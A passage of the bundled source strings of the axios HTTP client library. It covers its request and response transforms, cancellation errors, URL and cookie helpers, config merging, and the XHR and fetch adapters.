'./../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n  const config = this || defaults;\n  const context = response || config;\n  const headers = AxiosHeaders.from(context.headers);\n  let data = context.data;\n\n  utils.forEach(fns, function transform(fn) {\n    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n  });\n\n  headers.normalize();\n\n  return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n  this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n  __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n  const validateStatus = response.config.validateStatus;\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(new AxiosError(\n      'Request failed with status code ' + response.status,\n      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n      response.config,\n      response.request,\n      response\n    ));\n  }\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n  const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n  return match && match[1] || '';\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n  samplesCount = samplesCount || 10;\n  const bytes = new Array(samplesCount);\n  const timestamps = new Array(samplesCount);\n  let head = 0;\n  let tail = 0;\n  let firstSampleTS;\n\n  min = min !== undefined ? min : 1000;\n\n  return function push(chunkLength) {\n    const now = Date.now();\n\n    const startedAt = timestamps[tail];\n\n    if (!firstSampleTS) {\n      firstSampleTS = now;\n    }\n\n    bytes[head] = chunkLength;\n    timestamps[head] = now;\n\n    let i = tail;\n    let bytesCount = 0;\n\n    while (i !== head) {\n      bytesCount += bytes[i++];\n      i = i % samplesCount;\n    }\n\n    head = (head + 1) % samplesCount;\n\n    if (head === tail) {\n      tail = (tail + 1) % samplesCount;\n    }\n\n    if (now - firstSampleTS < min) {\n      return;\n    }\n\n    const passed = startedAt && now - startedAt;\n\n    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n  };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n  let timestamp = 0;\n  const threshold = 1000 / freq;\n  let timer = null;\n  return function throttled() {\n    const force = this === true;\n\n    const now = Date.now();\n    if (force || now - timestamp > threshold) {\n      if (timer) {\n        clearTimeout(timer);\n        timer = null;\n      }\n      timestamp = now;\n      return fn.apply(null, arguments);\n    }\n    if (!timer) {\n      timer = setTimeout(() => {\n        timer = null;\n        timestamp = Date.now();\n        return fn.apply(null, arguments);\n      }, threshold - (now - timestamp));\n    }\n  };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n  let bytesNotified = 0;\n  const _speedometer = speedometer(50, 250);\n\n  return throttle(e => {\n    const loaded = e.loaded;\n    const total = e.lengthComputable ? e.total : undefined;\n    const progressBytes = loaded - bytesNotified;\n    const rate = _speedometer(progressBytes);\n    const inRange = loaded <= total;\n\n    bytesNotified = loaded;\n\n    const data = {\n      loaded,\n      total,\n      progress: total ? (loaded / total) : undefined,\n      bytes: progressBytes,\n      rate: rate ? rate : undefined,\n      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n      event: e,\n      lengthComputable: total != null\n    };\n\n    data[isDownloadStream ? 'download' : 'upload'] = true;\n\n    listener(data);\n  }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    const msie = /(msie|trident)/i.test(navigator.userAgent);\n    const urlParsingNode = document.createElement('a');\n    let originURL;\n\n    /**\n    * Parse a URL to discover its components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      let href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n          urlParsingNode.pathname :\n          '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n          parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n  // Standard browser envs support document.cookie\n  {\n    write(name, value, expires, path, domain, secure) {\n      const cookie = [name + '=' + encodeURIComponent(value)];\n\n      utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n      utils.isString(path) && cookie.push('path=' + path);\n\n      utils.isString(domain) && cookie.push('domain=' + domain);\n\n      secure === true && cookie.push('secure');\n\n      document.cookie = cookie.join('; ');\n    },\n\n    read(name) {\n      const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n      return (match ? decodeURIComponent(match[3]) : null);\n    },\n\n    remove(name) {\n      this.write(name, '', Date.now() - 86400000);\n    }\n  }\n\n  :\n\n  // Non-standard browser env (web workers, react-native) lack needed support.\n  {\n    write() {},\n    read() {\n      return null;\n    },\n    remove() {}\n  };\n\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n  if (baseURL && !isAbsoluteURL(requestedURL)) {\n    return combineURLs(baseURL, requestedURL);\n  }\n  return requestedURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n  // eslint-disable-next-line no-param-reassign\n  config2 = config2 || {};\n  const config = {};\n\n  function getMergedValue(target, source, caseless) {\n    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n      return utils.merge.call({caseless}, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDeepProperties(a, b, caseless) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(a, b, caseless);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a, caseless);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function valueFromConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function defaultToConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDirectKeys(a, b, prop) {\n    if (prop in config2) {\n      return getMergedValue(a, b);\n    } else if (prop in config1) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  const mergeMap = {\n    url: valueFromConfig2,\n    method: valueFromConfig2,\n    data: valueFromConfig2,\n    baseURL: defaultToConfig2,\n    transformRequest: defaultToConfig2,\n    transformResponse: defaultToConfig2,\n    paramsSerializer: defaultToConfig2,\n    timeout: defaultToConfig2,\n    timeoutMessage: defaultToConfig2,\n    withCredentials: defaultToConfig2,\n    withXSRFToken: defaultToConfig2,\n    adapter: defaultToConfig2,\n    responseType: defaultToConfig2,\n    xsrfCookieName: defaultToConfig2,\n    xsrfHeaderName: defaultToConfig2,\n    onUploadProgress: defaultToConfig2,\n    onDownloadProgress: defaultToConfig2,\n    decompress: defaultToConfig2,\n    maxContentLength: defaultToConfig2,\n    maxBodyLength: defaultToConfig2,\n    beforeRedirect: defaultToConfig2,\n    transport: defaultToConfig2,\n    httpAgent: defaultToConfig2,\n    httpsAgent: defaultToConfig2,\n    cancelToken: defaultToConfig2,\n    socketPath: defaultToConfig2,\n    responseEncoding: defaultToConfig2,\n    validateStatus: mergeDirectKeys,\n    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n  };\n\n  utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n    const merge = mergeMap[prop] || mergeDeepProperties;\n    const configValue = merge(config1[prop], config2[prop], prop);\n    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n  });\n\n  return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n  const newConfig = mergeConfig({}, config);\n\n  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n  newConfig.headers = headers = AxiosHeaders.from(headers);\n\n  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n  // HTTP basic authentication\n  if (auth) {\n    headers.set('Authorization', 'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n    );\n  }\n\n  let contentType;\n\n  if (utils.isFormData(data)) {\n    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n      headers.setContentType(undefined); // Let the browser set it\n    } else if ((contentType = headers.getContentType()) !== false) {\n      // fix semicolon duplication issue for ReactNative FormData implementation\n      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n    }\n  }\n\n  // Add xsrf header\n  // This is only done if running in a standard browser environment.\n  // Specifically not if we're in a web worker, or react-native.\n\n  if (platform.hasStandardBrowserEnv) {\n    withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n      // Add xsrf header\n      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n      if (xsrfValue) {\n        headers.set(xsrfHeaderName, xsrfValue);\n      }\n    }\n  }\n\n  return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    const _config = resolveConfig(config);\n    let requestData = _config.data;\n    const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n    let {responseType} = _config;\n    let onCanceled;\n    function done() {\n      if (_config.cancelToken) {\n        _config.cancelToken.unsubscribe(onCanceled);\n      }\n\n      if (_config.signal) {\n        _config.signal.removeEventListener('abort', onCanceled);\n      }\n    }\n\n    let request = new XMLHttpRequest();\n\n    request.open(_config.method.toUpperCase(), _config.url, true);\n\n    // Set the request timeout in MS\n    request.timeout = _config.timeout;\n\n    function onloadend() {\n      if (!request) {\n        return;\n      }\n      // Prepare the response\n      const responseHeaders = AxiosHeaders.from(\n        'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n      );\n      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n        request.responseText : request.response;\n      const response = {\n        data: responseData,\n        status: request.status,\n        statusText: request.statusText,\n        headers: responseHeaders,\n        config,\n        request\n      };\n\n      settle(function _resolve(value) {\n        resolve(value);\n        done();\n      }, function _reject(err) {\n        reject(err);\n        done();\n      }, response);\n\n      // Clean up request\n      request = null;\n    }\n\n    if ('onloadend' in request) {\n      // Use onloadend if available\n      request.onloadend = onloadend;\n    } else {\n      // Listen for ready state to emulate onloadend\n      request.onreadystatechange = function handleLoad() {\n        if (!request || request.readyState !== 4) {\n          return;\n        }\n\n        // The request errored out and we didn't get a response, this will be\n        // handled by onerror instead\n        // With one exception: request that using file: protocol, most browsers\n        // will return status as 0 even though it's a successful request\n        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n          return;\n        }\n        // readystate handler is calling before onerror or ontimeout handlers,\n        // so we should call onloadend on the next 'tick'\n        setTimeout(onloadend);\n      };\n    }\n\n    // Handle browser request cancellation (as opposed to a manual cancellation)\n    request.onabort = function handleAbort() {\n      if (!request) {\n        return;\n      }\n\n      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n      const transitional = _config.transitional || transitionalDefaults;\n      if (_config.timeoutErrorMessage) {\n        timeoutErrorMessage = _config.timeoutErrorMessage;\n      }\n      reject(new AxiosError(\n        timeoutErrorMessage,\n        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n        _config,\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Remove Content-Type if data is undefined\n    requestData === undefined && requestHeaders.setContentType(null);\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n        request.setRequestHeader(key, val);\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (!utils.isUndefined(_config.withCredentials)) {\n      request.withCredentials = !!_config.withCredentials;\n    }\n\n    // Add responseType to request if needed\n    if (responseType && responseType !== 'json') {\n      request.responseType = _config.responseType;\n    }\n\n    // Handle progress if needed\n    if (typeof _config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n    }\n\n    // Not all browsers support upload events\n    if (typeof _config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n    }\n\n    if (_config.cancelToken || _config.signal) {\n      // Handle cancellation\n      // eslint-disable-next-line func-names\n      onCanceled = cancel => {\n        if (!request) {\n          return;\n        }\n        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n        request.abort();\n        request = null;\n      };\n\n      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n      if (_config.signal) {\n        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n      }\n    }\n\n    const protocol = parseProtocol(_config.url);\n\n    if (protocol && platform.protocols.indexOf(protocol) === -1) {\n      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n      return;\n    }\n\n\n    // Send the request\n    request.send(requestData || null);\n  });\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n  let controller = new AbortController();\n\n  let aborted;\n\n  const onabort = function (cancel) {\n    if (!aborted) {\n      aborted = true;\n      unsubscribe();\n      const err = cancel instanceof Error ? cancel : this.reason;\n      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n    }\n  }\n\n  let timer = timeout && setTimeout(() => {\n    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n  }, timeout)\n\n  const unsubscribe = () => {\n    if (signals) {\n      timer && clearTimeout(timer);\n      timer = null;\n      signals.forEach(signal => {\n        signal &&\n        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n      });\n      signals = null;\n    }\n  }\n\n  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n  const {signal} = controller;\n\n  signal.unsubscribe = unsubscribe;\n\n  return [signal, () => {\n    timer && clearTimeout(timer);\n    timer = null;\n  }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n  let len = chunk.byteLength;\n\n  if (!chunkSize || len < chunkSize) {\n    yield chunk;\n    return;\n  }\n\n  let pos = 0;\n  let end;\n\n  while (pos < len) {\n    end = pos + chunkSize;\n    yield chunk.slice(pos, end);\n    pos = end;\n  }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n  for await (const chunk of iterable) {\n    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n  }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n  const iterator = readBytes(stream, chunkSize, encode);\n\n  let bytes = 0;\n\n  return new ReadableStream({\n    type: 'bytes',\n\n    async pull(controller) {\n      const {done, value} = await iterator.next();\n\n      if (done) {\n        controller.close();\n        onFinish();\n        return;\n      }\n\n      let len = value.byteLength;\n      onProgress && onProgress(bytes += len);\n      controller.enqueue(new Uint8Array(value));\n    },\n    cancel(reason) {\n      onFinish(reason);\n      return iterator.return();\n    }\n  }, {\n    highWaterMark: 2\n  })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n  const lengthComputable = total != null;\n  return (loaded) => setTimeout(() => fn({\n    lengthComputable,\n    total,\n    loaded\n  }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n    async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n  let duplexAccessed = false;\n\n  const hasContentType = new Request(platform.origin, {\n    body: new ReadableStream(),\n    method: 'POST',\n    get duplex() {\n      duplexAccessed = true;\n      return 'half';\n    },\n  }).headers.has('Content-Type');\n\n  return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n  try {\n    return utils.isReadableStream(new Response('').body);\n  } catch(err) {\n    // return undefined\n  }\n})();\n\nconst resolvers = {\n  stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n    !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n      (_, config) => {\n        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n      })\n  });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n  if (body == null) {\n    return 0;\n  }\n\n  if(utils.isBlob(body)) {\n    return body.size;\n  }\n\n  if(utils.isSpecCompliantForm(body)) {\n    return (await new Request(body).arrayBuffer()).byteLength;\n  }\n\n  if(utils.isArrayBufferView(body)) {\n    return body.byteLength;\n  }\n\n  if(utils.isURLSearchParams(body)) {\n    body = body + '';\n  }\n\n  if(utils.isString(body)) {\n    return (await encodeText(body)).byteLength;\n  }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n  const length = utils.toFiniteNumber(headers.getContentLength());\n\n  return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n  let {\n    url,\n    method,\n    data,\n    signal,\n    cancelToken,\n    timeout,\n    onDownloadProgress,\n    onUploadProgress,\n    responseType,\n    headers,\n    withCredentials = 'same-origin',\n    fetchOptions\n  } = resolveConfig(config);\n\n  responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n    composeSignals([signal, cancelToken], timeout) : [];\n\n  let finished, request;\n\n  const onFinish = () => {\n    !finished && setTimeout(() => {\n      composedSignal && composedSignal.unsubscribe();\n    });\n\n    finished = true;\n  }\n\n  let requestContentLength;\n\n  try {\n    if (\n      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n      (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n    ) {\n      let _request = new Request(url, {\n        method: 'POST',\n        body: data,\n        duplex: \"half\"\n      });\n\n      let contentTypeHeader;\n\n      if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n        headers.setContentType(contentTypeHeader)\n      }\n\n      if (_request.body) {\n        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n          requestContentLength,\n          progressEventReducer(onUploadProgress)\n        ), null, encodeText);\n      }\n    }\n\n    if (!utils.isString(withCredentials)) {\n      withCredentials = withCredentials ? 'cors' : 'omit';\n    }\n\n    request = new Request(url, {\n      ...fetchOptions,\n      signal: composedSignal,\n      method: method.toUpperCase(),\n      headers: headers.normalize().toJSON(),\n      body: data,\n      duplex: \"half\",\n      withCredentials\n    });\n\n    let response = await fetch(request);\n\n    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n      const options = {};\n\n      ['status', 'statusText', 'headers'].forEach(prop => {\n        options[prop] = response[prop];\n      });\n\n      const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n      response = new Response(\n        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n          responseContentLength,\n          progressEventReducer(onDownloadProgress, true)\n        ), isStreamResponse && onFinish, encodeText),\n        options\n      );\n    }\n\n    responseType = responseType || 'text';\n\n    let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n    !isStreamResponse && onFinish();\n\n    stopTimeout && stopTimeout();\n\n    return await new Promise((resolve, reject) => {\n      settle(resolve, reject, {\n        data: responseData,\n        headers: AxiosHeaders.from(response.headers),\n        status: response.status,\n        statusText: response.statusText,\n        config,\n        request\n      })\n    })\n  } catch (err) {\n    onFinish();\n\n    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n      throw Object.assign(\n        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n        {\n          cause: err.cause || err\n        }\n      )\n    }\n\n    throw AxiosError.from(err, err && err.code, config, request);\n  }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n  http: httpAdapter,\n  xhr: xhrAdapter,\n  fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n  if (fn) {\n    try {\n      Object.defineProperty(fn, 'name', {value});\n    } catch (e) {\n      // eslint-disable-next-line no-empty\n    }\n    Object.defineProperty(fn, 'adapterName', {value});\n  }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n  getAdapter: (adapters) => {\n    adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n    const {length} = adapters;\n    let nameOrAdapter;\n    let adapter;\n\n    const rejectedReasons = {};\n\n    for (let i = 0; i < length; i++) {\n      nameOrAdapter = adapters[i];\n      let id;\n\n      adapter = nameOrAdapter;\n\n      if (!isResolvedHandle(nameOrAdapter)) {\n        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n        if (adapter === undefined) {\n          throw new AxiosError(`Unknown adapter '${id}'`);\n        }\n      }\n\n      if (adapter) {\n        break;\n      }\n\n      rejectedReasons[id || '#' + i] = adapter;\n    }\n\n    if (!adapter) {\n\n      const reasons = Object.entries(rejectedReasons)\n        .map(([id, state]) => `adapter ${id} ` +\n          (state === false ? 'is not supported by the environment' : 'is not available in the build')\n        );\n\n      let s = length ?\n        (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n        'as no adapter specified';\n\n      throw new AxiosError(\n        `There is no suitable adapter to dispatch the request ` + s,\n        'ERR_NOT_SUPPORT'\n      );\n    }\n\n    return adapter;\n  },\n  adapters: knownAdapters\n}\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n  if (config.cancelToken) {\n    config.cancelToken.throwIfRequested();\n  }\n\n  if (config.signal && config.signal.aborted) {\n    throw new CanceledError(null, config);\n  }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n  throwIfCancellationRequested(config);\n\n  config.headers = AxiosHeaders.from(config.headers);\n\n  // Transform request data\n  config.data = transformData.call(\n    config,\n    config.transformRequest\n  );\n\n  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) 